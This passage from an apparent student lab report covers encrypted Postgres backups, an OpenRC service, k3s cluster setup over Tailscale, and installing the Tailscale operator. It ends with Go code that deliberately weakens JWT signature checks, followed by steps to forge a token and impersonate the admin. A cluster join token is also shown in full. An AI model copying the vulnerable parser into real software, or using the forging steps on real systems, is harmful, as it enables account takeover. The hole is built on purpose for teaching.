    <img loading="lazy" src="/itsi/y4/ex1/images/windoof-7.png"/> <figcaption>
            Figure 22: showing the required settings for the task
        </figcaption>
</figure>

<p>With the task setup and any script fitting the requirements created, the Windows part for backups is now complete. My PowerShell script is available on my GitHub at <a href="https://github.com/Stefanistkuhl/goobering/tree/master/itsi/y4/ex1/extra-files/backup.ps1">here</a>. It can be implemented in many ways, so breaking down my approach to copying files isn&rsquo;t worth detailing since it can just be examined on GitHub.</p>
<h4 id="backing-up-postgres-data">Backing Up Postgres Data</h4>
<p>To backup Postgres, four things are needed:</p>
<ul>
<li>Mounting the Windows share</li>
<li>A GPG key</li>
<li>A backup script</li>
<li>A scheduled task</li>
</ul>
<p>To mount the Windows share, install the <code>cifs-ultils</code>, <code>gnupg</code> and <code>docker-cli</code> packages via <code>apk add gnupg cifs-utils docker-cli</code>. After creating the directory for the mount point, add the following entry to <code>/etc/fstab</code>, a file that defines disk partitions and various other block devices or remote file systems that should be mounted into the file system. <sup id="fnref:22"><a href="#fn:22" class="footnote-ref" role="doc-noteref">22</a></sup></p>
<ul>
<li><code>//ex1-windoof/app-data</code>
<ul>
<li>remote share location using Tailscale Magic DNS instead of an IP</li>
</ul>
</li>
<li><code>/mnt/backups/app</code>
<ul>
<li>mount point</li>
</ul>
</li>
<li><code>cifs</code>
<ul>
<li>filesystem type</li>
</ul>
</li>
<li><code>credentials=/etc/cifs-creds/backup_smb_creds</code>
<ul>
<li>credentials file</li>
</ul>
</li>
<li><code>vers=3.0</code>
<ul>
<li>SMB version</li>
</ul>
</li>
<li><code>uid=1000,gid=1000</code>
<ul>
<li>user and group id of <code>fus-user</code> created in [@sec:setting-up-alpine] without any root privileges</li>
</ul>
</li>
<li><code>file_mode=0640</code>
<ul>
<li>permissions for the files</li>
</ul>
</li>
<li><code>dir_mode=0750</code>
<ul>
<li>permissions for the directories</li>
</ul>
</li>
<li><code>_netdev</code>
<ul>
<li>marks the device as a network device</li>
</ul>
</li>
<li><code>0 0</code>
<ul>
<li>dump and fsck options (disabled due to being a network mount) <sup id="fnref:23"><a href="#fn:23" class="footnote-ref" role="doc-noteref">23</a></sup></li>
</ul>
</li>
</ul>
<p>This can be applied by running <code>mount -a</code> or rebooting the system.</p>
<p>To now generate a GPG key, <code>gpg --generate-key</code> is run on the host instead of the VM, as the private key needs to be kept safe and not on a random server and then the public key will be exported and uploaded to the vm to encrypt the backups and have the administrator or team have the private keys to decrypt and restore backups. In the dialogue only the <code>Real name</code> field is needed which is named <code>ex1-itsi</code> and the email field is skipped which then prompts to enter a passphrase for the key to finish the generation.</p>
<p>By using <code>gpg --list-keys &quot;ex1-itsi&quot;</code> the key can be inspected as in [@fig:inspect-gpg-key].</p>
<figure>
    <img loading="lazy" src="/itsi/y4/ex1/images/svgs/gpg-view-key.svg"/> <figcaption>
            Figure 23: showing the required settings for the task
        </figcaption>
</figure>

<p>This, however, shows that there are actually two key pairs: a primary (&ldquo;normal&rdquo;) key and a subordinate (&ldquo;subkey&rdquo;) pair. The primary key is used for signing and certification (capabilities <code>[SC]</code>) and uses the <code>ed25519</code> elliptic-curve algorithm, which is known for high performance. The owner is identified by the <code>uid</code> field, which is the name entered earlier. The subkey uses <code>curve25519</code>, another elliptic-curve algorithm designed for key exchange and often used for encryption, as indicated by the <code>e</code> capability in the capabilities field.</p>
<p>Next, the key is exported to a file with <code>gpg --export -a ex1-itsi &gt; ex1-itsi.pub.asc</code> and then copied to the VM via <code>scp ex1-itsi.pub fus-admin@ex1-alpine-vm:/home/fus-admin/ex1-itsi.pub.asc</code>, where it is imported with <code>gpg --import ex1-itsi.pub.asc</code>, which is verified in [@fig:inspect-gpg-key-host] on the VM.</p>
<figure>
    <img loading="lazy" src="/itsi/y4/ex1/images/svgs/Frame-2imported-key.svg"/> <figcaption>
            Figure 24: showing the imported key
        </figcaption>
</figure>

<p>The backup script consists of running pg_dump via docker exec in the target container, and using <code>gpg --homedir /home/fus-admin/.gnupg --batch --yes --recipient &quot;ex1-itsi&quot; --encrypt &quot;$DUMPFILE&quot;</code> to encrypt the backup, then moving it to the share along with the boilerplate. It is also available on GitHub alongside the PowerShell script. Lastly, using <code>crontab -e</code> and adding <code>0 1 * * * rc-service app-backup start</code> to run the backup script once a day.</p>
<p>Additionally, an OpenRC service file was created to run the script as the unprivileged user, as shown in [@snip:backup-open-rc-service]. OpenRC is Alpine Linux&rsquo;s init system and service manager, which is used to manage system services and daemons. <sup id="fnref:24"><a href="#fn:24" class="footnote-ref" role="doc-noteref">24</a></sup> The service file defines how the backup script should be executed, including which user it runs as, what dependencies it has, and how it should behave during startup and shutdown. This approach provides several benefits over running the script directly via cron: better logging integration with the system, dependency management, and the ability to start/stop the service manually if needed. The service file is placed in <code>/etc/init.d/</code> and can be managed using standard OpenRC commands like <code>rc-service app-backup start</code>, <code>rc-service app-backup stop</code>, and <code>rc-service app-backup status</code>.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sh" data-lang="sh"><span style="display:flex;"><span><span style="color:#75715e">#!/sbin/openrc-run
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span>description<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;Run Docker PostgreSQL backup job (encrypts dump)&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>command<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;/usr/local/bin/pg_docker_backup.sh&#34;</span>
</span></span><span style="display:flex;"><span>command_user<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;fus-admin&#34;</span>
</span></span><span style="display:flex;"><span>command_env<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;HOME=/home/fus-admin&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>depend<span style="color:#f92672">()</span> <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>    need docker net localmount
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>start_pre<span style="color:#f92672">()</span> <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> <span style="color:#f92672">[</span> ! -d /mnt/backups/app <span style="color:#f92672">]</span>; <span style="color:#66d9ef">then</span>
</span></span><span style="display:flex;"><span>        eerror <span style="color:#e6db74">&#34;Backup path /mnt/backups/app not mounted&#34;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">fi</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>start<span style="color:#f92672">()</span> <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>    ebegin <span style="color:#e6db74">&#34;Executing PostgreSQL backup script&#34;</span>
</span></span><span style="display:flex;"><span>    $command
</span></span><span style="display:flex;"><span>    local rc<span style="color:#f92672">=</span>$?
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">[</span> <span style="color:#e6db74">&#34;</span>$rc<span style="color:#e6db74">&#34;</span> -eq <span style="color:#ae81ff">0</span> <span style="color:#f92672">]</span> <span style="color:#f92672">&amp;&amp;</span> eend <span style="color:#ae81ff">0</span> <span style="color:#e6db74">&#34;Backup finished successfully&#34;</span> <span style="color:#f92672">||</span> eend $rc <span style="color:#e6db74">&#34;Backup failed&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span></code></pre></div><p>This service file sets the command and user to use and includes boilerplate to verify that the backup path is mounted, start and stop the app, and add logging. <sup id="fnref1:24"><a href="#fn:24" class="footnote-ref" role="doc-noteref">24</a></sup></p>
<p>Let&rsquo;s break down each section of the service file: The shebang <code>#!/sbin/openrc-run</code> tells the system that this is an OpenRC service script. The <code>description</code> field provides a human-readable description of what the service does. The <code>command</code> field specifies the full path to the script that will be executed. The <code>command_user</code> field defines which user the service should run as, in this case <code>fus-admin</code> to avoid running as root. The <code>command_env</code> field sets environment variables for the command, here setting the <code>HOME</code> variable to the user&rsquo;s home directory. The <code>depend()</code> function defines service dependencies: <code>docker</code> (the container runtime), <code>net</code> (networking), and <code>localmount</code> (local filesystem mounts). This ensures these services are running before the backup service starts. The <code>start_pre()</code> function runs before the main service starts and checks if the backup mount point <code>/mnt/backups/app</code> exists and is accessible. If not, it logs an error and prevents the service from starting. The <code>start()</code> function contains the main service logic. It logs the start of the backup process, executes the command, captures the return code, and logs whether the backup succeeded or failed based on the exit code.</p>
<p>A working run was already shown in [@fig:backup-dirs] not requiring any further Figures.</p>
<h2 id="kubernetes-intro">Kubernetes Intro</h2>
<h3 id="overview-and-needed-terms">Overview and Needed Terms</h3>
<p>Kubernetes is a container orchestration platform that is used to manage and deploy containers. It is an open-source project that was originally developed by Google and is now maintained by the Cloud Native Computing Foundation (CNCF). <sup id="fnref:25"><a href="#fn:25" class="footnote-ref" role="doc-noteref">25</a></sup></p>
<p>It is used to orchestrate and manage containers across multiple hosts, which can be done by using a single Kubernetes cluster or by using multiple clusters, each with its own set of nodes to horizontally scale the workloads, which is the opposite of vertical scaling where you scale by upgrading hardware, such as upgrading the CPU or moving to a bigger machine. <sup id="fnref1:25"><a href="#fn:25" class="footnote-ref" role="doc-noteref">25</a></sup> <sup id="fnref:26"><a href="#fn:26" class="footnote-ref" role="doc-noteref">26</a></sup></p>
<p>A cluster consists of a master node and one or more worker nodes. The master node is responsible for managing the cluster and the worker nodes are responsible for running the containers. Those nodes can be virtual machines, bare metal servers, or cloud instances, and can be on the same physical machine or on different physical machines. <sup id="fnref:27"><a href="#fn:27" class="footnote-ref" role="doc-noteref">27</a></sup></p>
<p>Once in a cluster they can be added to a Kubernetes cluster by the <code>kubectl</code> cli, which offers commands to interact with the cluster, such as creating deployments, scaling deployments, and creating services all from the convenience of not having to SSH into each server. <sup id="fnref:28"><a href="#fn:28" class="footnote-ref" role="doc-noteref">28</a></sup></p>
<p>The following terms are used in this document:</p>
<ul>
<li>Kubernetes cluster
<ul>
<li>set nodes that can be used to run containers</li>
</ul>
</li>
<li>Kubernetes node
<ul>
<li>a virtual or physical machine, depending on the cluster. Each node is managed by the control plane and contains the services necessary to run Pods. <sup id="fnref:29"><a href="#fn:29" class="footnote-ref" role="doc-noteref">29</a></sup></li>
</ul>
</li>
<li>Kubernetes pod
<ul>
<li>smallest deployable units of computing that you can create and manage in Kubernetes. <sup id="fnref:30"><a href="#fn:30" class="footnote-ref" role="doc-noteref">30</a></sup></li>
</ul>
</li>
<li>Kubernetes deployment
<ul>
<li>provides declarative updates for Pods and ReplicaSets usually written in YAML. <sup id="fnref:31"><a href="#fn:31" class="footnote-ref" role="doc-noteref">31</a></sup></li>
</ul>
</li>
<li>Kubernetes service
<ul>
<li>method for exposing a network application that is running as one or more Pods in your cluster. <sup id="fnref:32"><a href="#fn:32" class="footnote-ref" role="doc-noteref">32</a></sup></li>
</ul>
</li>
</ul>
<p><em>How does k3s differ from other implementations like k8s?</em></p>
<p>K3s is a lightweight Kubernetes distribution designed for edge computing, reducing the strain on my laptop and allowing my Debian nodes to be provisioned with minimal resources. <sup id="fnref:33"><a href="#fn:33" class="footnote-ref" role="doc-noteref">33</a></sup> It is not the only distribution; Kubernetes is a system that can be implemented by various projects, including K3s, K8s, MicroK8s, and others. <sup id="fnref2:25"><a href="#fn:25" class="footnote-ref" role="doc-noteref">25</a></sup></p>
<h3 id="creating-a-kubernetes-cluster">Creating a Kubernetes Cluster</h3>
<p>To create a Cluster, <code>k3s</code> first we need to create a master node so we can later add agents to it. For this <code>k3s</code> provides a nice installer script we can customize with the options down below, shown in [@snip:k3s-master].</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sh" data-lang="sh"><span style="display:flex;"><span>export TS_IP<span style="color:#f92672">=</span><span style="color:#66d9ef">$(</span>tailscale ip -4<span style="color:#66d9ef">)</span>
</span></span><span style="display:flex;"><span>curl -sfL https://get.k3s.io | sh -s - server <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>  --node-ip <span style="color:#e6db74">&#34;</span>$TS_IP<span style="color:#e6db74">&#34;</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>  --advertise-address <span style="color:#e6db74">&#34;</span>$TS_IP<span style="color:#e6db74">&#34;</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>  --tls-san debian-k3s-master.tail112d0c.ts.net <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>  --flannel-iface tailscale0
</span></span></code></pre></div><p>Before the command is run since the Tailscale IP is needed, it is fetched with <code>tailscale ip -4</code> and then the installer is run with the following options <sup id="fnref:34"><a href="#fn:34" class="footnote-ref" role="doc-noteref">34</a></sup>:</p>
<ul>
<li><code>server</code> is the mode of the installer, which is used to install the master node</li>
<li><code>--node-ip</code> is the IP of the node, which is the Tailscale IP</li>
<li><code>--advertise-address</code> is the IP that the node will advertise to the cluster</li>
<li><code>--tls-san</code> is the name of the node, which is used to generate a certificate for the node</li>
<li><code>--flannel-iface</code> is the name of the interface that will be used by Flannel to communicate with the node</li>
</ul>
<p>Before the agent can be installed the master the token needs to be obtained so the agents can join the cluster. <sup id="fnref:35"><a href="#fn:35" class="footnote-ref" role="doc-noteref">35</a></sup> The token has the following format: <sup id="fnref1:35"><a href="#fn:35" class="footnote-ref" role="doc-noteref">35</a></sup></p>
<ul>
<li><code>&lt;prefix&gt;&lt;cluster CA hash&gt;::&lt;credentials&gt;</code></li>
<li><code>prefix:</code> a fixed <code>K10</code> prefix that identifies the tokens format.</li>
<li><code>cluster CA hash:</code> SHA256 sum of the PEM-formatted certificate, as stored on disk if it is self-signed which it is in this case.
<ul>
<li>The certificate is stored in <code>/var/lib/rancher/k3s/server/tls/server-ca.crt</code> on the master node.</li>
</ul>
</li>
<li><code>credentials:</code> Username and password, or bearer token, used to authenticate the joining node to the cluster.</li>
</ul>
<p>The token is located at <code>/var/lib/rancher/k3s/server/node-token</code> as seen in [@fig:get-master-k3s-token].</p>
<figure>
    <img loading="lazy" src="/itsi/y4/ex1/images/svgs/get-master-token.svg"/> <figcaption>
            Figure 25: viewing the master node token
        </figcaption>
</figure>

<p>With this and the URL of the Kubernetes API server, which is the domain name of the master node in the tailnet with port 6443 (the default port of the Kubernetes API server) <sup id="fnref:36"><a href="#fn:36" class="footnote-ref" role="doc-noteref">36</a></sup></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sh" data-lang="sh"><span style="display:flex;"><span>export TS_IP<span style="color:#f92672">=</span><span style="color:#66d9ef">$(</span>tailscale ip -4<span style="color:#66d9ef">)</span>
</span></span><span style="display:flex;"><span>export K3S_URL<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;https://debian-k3s-master.tail112d0c.ts.net:6443&#34;</span>
</span></span><span style="display:flex;"><span>export K3S_TOKEN<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;K10e37d7f565bb7797468b2004e1e79a99b718ff542214644a85f3fb813177d87f0::
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">                  server:db7de334c19ca3bf063b4a9d8ae19552&#34;</span>
</span></span><span style="display:flex;"><span>curl -sfL https://get.k3s.io | sh -s - agent <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>  --node-ip <span style="color:#e6db74">&#34;</span>$TS_IP<span style="color:#e6db74">&#34;</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>  --flannel-iface tailscale0
</span></span></code></pre></div><p>To install the agent, the following environment variables are required: <code>TS_IP</code> (the node&rsquo;s IP, as used previously), <code>K3S_URL</code> (the URL for the Kubernetes API server), and <code>K3S_TOKEN</code> (the token obtained from the master node). <sup id="fnref:37"><a href="#fn:37" class="footnote-ref" role="doc-noteref">37</a></sup> The remaining options match those used for the master node.</p>
<p>After running this command on all the VMs that I want to add as agents to the cluster,</p>
<p>To now access the cluster, the <code>kubectl</code> cli can be used to interact with the cluster. <sup id="fnref:38"><a href="#fn:38" class="footnote-ref" role="doc-noteref">38</a></sup> To access it, first either copy paste the <code>/etc/rancher/k3s/k3s.yaml</code> or copy it over using <code>scp</code> in this case like in [@fig:cat-kubeconfig] i just catted the file to show the contents. Important note: when you want to verify or show the kubeconfig, do not simply use <code>cat</code>. Instead, use <code>kubectl config view</code>, which displays the contents and also redacts the certificates and keys (as shown in [@fig:cat-kubeconfig]) [@noauthor_kubectl_nodate-1]</p>
<figure>
    <img loading="lazy" src="/itsi/y4/ex1/images/svgs/cat-kubeconfig.svg"/> <figcaption>
            Figure 26: viewing the kubeconfig file
        </figcaption>
</figure>

<p>Once the file is on the desired host, it must first be edited to use the correct IP for the <code>server</code> field, since it currently shows <code>127.0.0.1</code> (the server runs locally on the master node, as highlighted in [@fig:cat-kubeconfig]).</p>
<p>By default, kubectl looks for a file named config in the <code>$HOME/.kube</code> directory. You can specify other kubeconfig files by setting the <code>KUBECONFIG</code> environment variable or by setting the <code>--kubeconfig</code> flag. <sup id="fnref:39"><a href="#fn:39" class="footnote-ref" role="doc-noteref">39</a></sup> With either of these methods, the cluster can now be managed with the <code>kubectl</code> command, which I alias to <code>k</code> in my shell and therefore will be displayed as such in all following snippets and figures.</p>
<p>To inspect the cluster and view its nodes, the <code>kubectl get nodes</code> command can be used alongside the <code>-o wide</code> flag to show more information about the nodes, as shown in [@fig:kubectl-get-nodes]. Using an output option with <code>-o</code> has additional choices like <code>json</code> so that <code>jq</code> can be used, but here adding <code>wide</code> prints the output as plain text with additional information. <sup id="fnref1:38"><a href="#fn:38" class="footnote-ref" role="doc-noteref">38</a></sup></p>
<figure>
    <img loading="lazy" src="/itsi/y4/ex1/images/svgs/k-get-nodes-o-wide.svg"/> <figcaption>
            Figure 27: viewing the nodes of the cluster
        </figcaption>
</figure>

<p>As seen in [@fig:kubectl-get-nodes], there is now information such as roles, status, addresses, container runtime, and more. The agents do not have roles by default, which is fine, and they will run containers regardless. They also do not have an external IP, since this will be set up with <code>Ingress</code> (like a reverse proxy). Exposing the entire node would be unnecessary in this case.</p>
<p>Normally, for ingress, a reverse proxy like Traefik is used. For Tailscale, there is the <code>tailscale operator</code>, whose installation and details are shown in [@sec:adding-the-tailscale-operator].</p>
<h4 id="adding-the-tailscale-operator">Adding the Tailscale Operator</h4>
<p>Ingress is &ldquo;The act of entering; entrance; as, the ingress of air into the lungs.&rdquo; [@noauthor_dictorg-_nodate] While egress is &ldquo;The act of going out or leaving, or the power to leave; departure.&rdquo; [@noauthor_dictorg-_nodate-1] In the context of Kubernetes and its integration within a tailnet, the Tailscale operator can expose a tailnet service to your Kubernetes cluster (cluster egress) and expose a cluster workload to your tailnet (cluster ingress). The operator can also expose any service internally if it is used as a load balancer. Each service receives an internal domain and IP, which appears as a &ldquo;machine&rdquo; in the dashboard and can be accessed through that domain. Normally, this would be any domain used in the load balancer of choice to expose an app publicly. <sup id="fnref:40"><a href="#fn:40" class="footnote-ref" role="doc-noteref">40</a></sup></p>
<p>Before the Tailscale operator can be installed, two tags need to be added to the tailnet. The <code>k8s-operator</code> tag is the owner of the <code>k8s</code> tag, which is used for the created services. By using ACLs in Tailscale with either additional tags or just the <code>k8s</code> tag, access to the setup services can be restricted within the tailnet. Additionally, an OAuth client must be created with the <code>Devices Core</code> and <code>Auth Keys</code> write scopes, along with the tag <code>k8s-operator</code>. This allows the operator to create machines and assign them the tag it owns. <sup id="fnref1:40"><a href="#fn:40" class="footnote-ref" role="doc-noteref">40</a></sup></p>
<p>In [@snip:tailscale-tags], the required tags are shown, which can be appended to the tailnet policy file.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-json" data-lang="json"><span style="display:flex;"><span><span style="color:#e6db74">&#34;tagOwners&#34;</span><span style="color:#960050;background-color:#1e0010">:</span> {
</span></span><span style="display:flex;"><span>   <span style="color:#f92672">&#34;tag:k8s-operator&#34;</span>: [],
</span></span><span style="display:flex;"><span>   <span style="color:#f92672">&#34;tag:k8s&#34;</span>: [<span style="color:#e6db74">&#34;tag:k8s-operator&#34;</span>],
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Like in [@fig:view-stuff-with-tag], the Tailscale operator creates its own <code>machine</code>. The services created later are also <code>machine</code> instances, each with its own hostname and an assigned tag for access control.</p>
<figure>
    <img loading="lazy" src="/itsi/y4/ex1/images/tailscale-tags-verif.png"/> <figcaption>
            Figure 28: inspecting the tailscale operator and created services in the dashboard
        </figcaption>
</figure>

<p>To actually install the Tailscale operator, <code>helm</code> needs to be installed on the device from which the cluster is managed. Helm is a package manager for Kubernetes, which is used to install and manage applications on Kubernetes clusters. <sup id="fnref:41"><a href="#fn:41" class="footnote-ref" role="doc-noteref">41</a></sup> The required commands are shown in [@snip:helm-cmds].</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sh" data-lang="sh"><span style="display:flex;"><span>helm repo add tailscale https://pkgs.tailscale.com/helmcharts
</span></span><span style="display:flex;"><span>helm repo update
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>helm upgrade --install tailscale-operator tailscale/tailscale-operator <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>  --namespace tailscale <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>  --create-namespace <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>  --set-string oauth.clientId<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;kvMQVhCAEn11CNTRL&#34;</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>  --set-string oauth.clientSecret<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;tskey-client-&lt;REDACTED&gt;&#34;</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>  --wait
</span></span></code></pre></div><p>The commands from [@snip:helm-cmds] do the following:</p>
<ul>
<li>Add the Tailscale helm repository to the cluster</li>
<li>Update the helm repositories</li>
<li>Install the Tailscale operator with the required options
<ul>
<li><code>--namespace</code> is the namespace in which the operator will be installed, in this case <code>tailscale</code></li>
<li><code>--create-namespace</code> is used to create the namespace if it doesn&rsquo;t exist</li>
<li><code>--set-string</code> is used to set a string value for the option
<ul>
<li><code>oauth.clientId</code> is the OAuth client ID</li>
<li><code>oauth.clientSecret</code> is the OAuth client secret
<ul>
<li>both of which are available in the Tailscale dashboard when creating the OAuth client</li>
</ul>
</li>
</ul>
</li>
<li><code>--wait</code> is used to wait for the operator to be ready</li>
</ul>
</li>
</ul>
<p>After installation, this can be verified in the dashboard as shown in [@fig:view-stuff-with-tag] and with <code>kubectl get pods -n tailscale</code>, in which the <code>-n</code> flag is used to select the namespace from which to fetch the pods, as in [@fig:kubectl-get-pods-tailscale].</p>
<figure>
    <img loading="lazy" src="/itsi/y4/ex1/images/svgs/ts-pods.svg"/> <figcaption>
            Figure 29: listing the pods of the tailscale operator
        </figcaption>
</figure>

<h3 id="making-the-application-insecure">Making the Application Insecure</h3>
<h4 id="authentication-bypass-via-jwt-parsing">Authentication Bypass via JWT Parsing</h4>
<p>To make the app insecure, the JWT was changed to not enforce a signature, allowing users to add any claims to the JWT without returning an error if the signature is invalid, as seen in [@snip:insec-jwt]. The code lets users freely edit their JWT, essentially ignoring everything from [@sec:auth-flow]. This is a massive security risk because it allows users to add arbitrary claims to the JWT, which could bypass authentication. Additionally, it may enable a user to authenticate as another user, something that a valid signature would prevent.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#66d9ef">func</span> <span style="color:#a6e22e">ParseAndValidate</span>(<span style="color:#a6e22e">cfg</span> <span style="color:#a6e22e">models</span>.<span style="color:#a6e22e">AuthConfig</span>, <span style="color:#a6e22e">tokenStr</span> <span style="color:#66d9ef">string</span>) (<span style="color:#f92672">*</span><span style="color:#a6e22e">Claims</span>, <span style="color:#66d9ef">error</span>) {
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">claims</span> <span style="color:#f92672">:=</span> <span style="color:#f92672">&amp;</span><span style="color:#a6e22e">Claims</span>{}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">parsers</span> <span style="color:#f92672">:=</span> []<span style="color:#f92672">*</span><span style="color:#a6e22e">jwt</span>.<span style="color:#a6e22e">Parser</span>{
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">jwt</span>.<span style="color:#a6e22e">NewParser</span>(<span style="color:#a6e22e">jwt</span>.<span style="color:#a6e22e">WithValidMethods</span>([]<span style="color:#66d9ef">string</span>{<span style="color:#e6db74">&#34;HS256&#34;</span>})),
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">jwt</span>.<span style="color:#a6e22e">NewParser</span>(),
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">secrets</span> <span style="color:#f92672">:=</span> [][]<span style="color:#66d9ef">byte</span>{<span style="color:#a6e22e">cfg</span>.<span style="color:#a6e22e">Secret</span>, []byte(<span style="color:#e6db74">&#34;&#34;</span>), []byte(<span style="color:#e6db74">&#34;secret&#34;</span>), []byte(<span style="color:#e6db74">&#34;password&#34;</span>)}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">for</span> <span style="color:#a6e22e">_</span>, <span style="color:#a6e22e">parser</span> <span style="color:#f92672">:=</span> <span style="color:#66d9ef">range</span> <span style="color:#a6e22e">parsers</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">for</span> <span style="color:#a6e22e">_</span>, <span style="color:#a6e22e">secret</span> <span style="color:#f92672">:=</span> <span style="color:#66d9ef">range</span> <span style="color:#a6e22e">secrets</span> {
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">tok</span>, <span style="color:#a6e22e">err</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">parser</span>.<span style="color:#a6e22e">ParseWithClaims</span>(<span style="color:#a6e22e">tokenStr</span>, <span style="color:#a6e22e">claims</span>, <span style="color:#66d9ef">func</span>(<span style="color:#a6e22e">t</span> <span style="color:#f92672">*</span><span style="color:#a6e22e">jwt</span>.<span style="color:#a6e22e">Token</span>) (<span style="color:#66d9ef">any</span>, <span style="color:#66d9ef">error</span>) {
</span></span><span style="display:flex;"><span>				<span style="color:#66d9ef">return</span> <span style="color:#a6e22e">secret</span>, <span style="color:#66d9ef">nil</span>
</span></span><span style="display:flex;"><span>			})
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">err</span> <span style="color:#f92672">==</span> <span style="color:#66d9ef">nil</span> <span style="color:#f92672">&amp;&amp;</span> <span style="color:#a6e22e">tok</span> <span style="color:#f92672">!=</span> <span style="color:#66d9ef">nil</span> <span style="color:#f92672">&amp;&amp;</span> <span style="color:#a6e22e">tok</span>.<span style="color:#a6e22e">Valid</span> {
</span></span><span style="display:flex;"><span>				<span style="color:#66d9ef">return</span> <span style="color:#a6e22e">claims</span>, <span style="color:#66d9ef">nil</span>
</span></span><span style="display:flex;"><span>			}
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">manualClaims</span>, <span style="color:#a6e22e">err</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">parseJWTManually</span>(<span style="color:#a6e22e">tokenStr</span>); <span style="color:#a6e22e">err</span> <span style="color:#f92672">==</span> <span style="color:#66d9ef">nil</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">return</span> <span style="color:#a6e22e">manualClaims</span>, <span style="color:#66d9ef">nil</span>
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">return</span> <span style="color:#66d9ef">nil</span>, <span style="color:#a6e22e">fmt</span>.<span style="color:#a6e22e">Errorf</span>(<span style="color:#e6db74">&#34;invalid token: signature is invalid&#34;</span>)
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>To exploit this, the user only needs to open Developer Tools, access local storage to retrieve their JWT, and then decode it using an online tool as shown in [@fig:jwt-1]. Next, they modify the desired values, specifically replacing the UserID with that of the target user they wish to impersonate. The UserID for the admin (or any other user) can be obtained by navigating to the <code>Users</code> page of the application, inspecting the API request that fetches all users in the <code>Network</code> section of Developer Tools, and extracting the ID as shown in [@fig:getid].</p>
<figure>
    <img loading="lazy" src="/itsi/y4/ex1/images/getid.png"/> <figcaption>
            Figure 30: obtaining the admin user id
        </figcaption>
</figure>

<p>Now, with this ID, the JWT can be edited to instead assign the <code>admin</code> role and the admin&rsquo;s ID, as shown in [@fig:jwt-1].</p>
<figure>
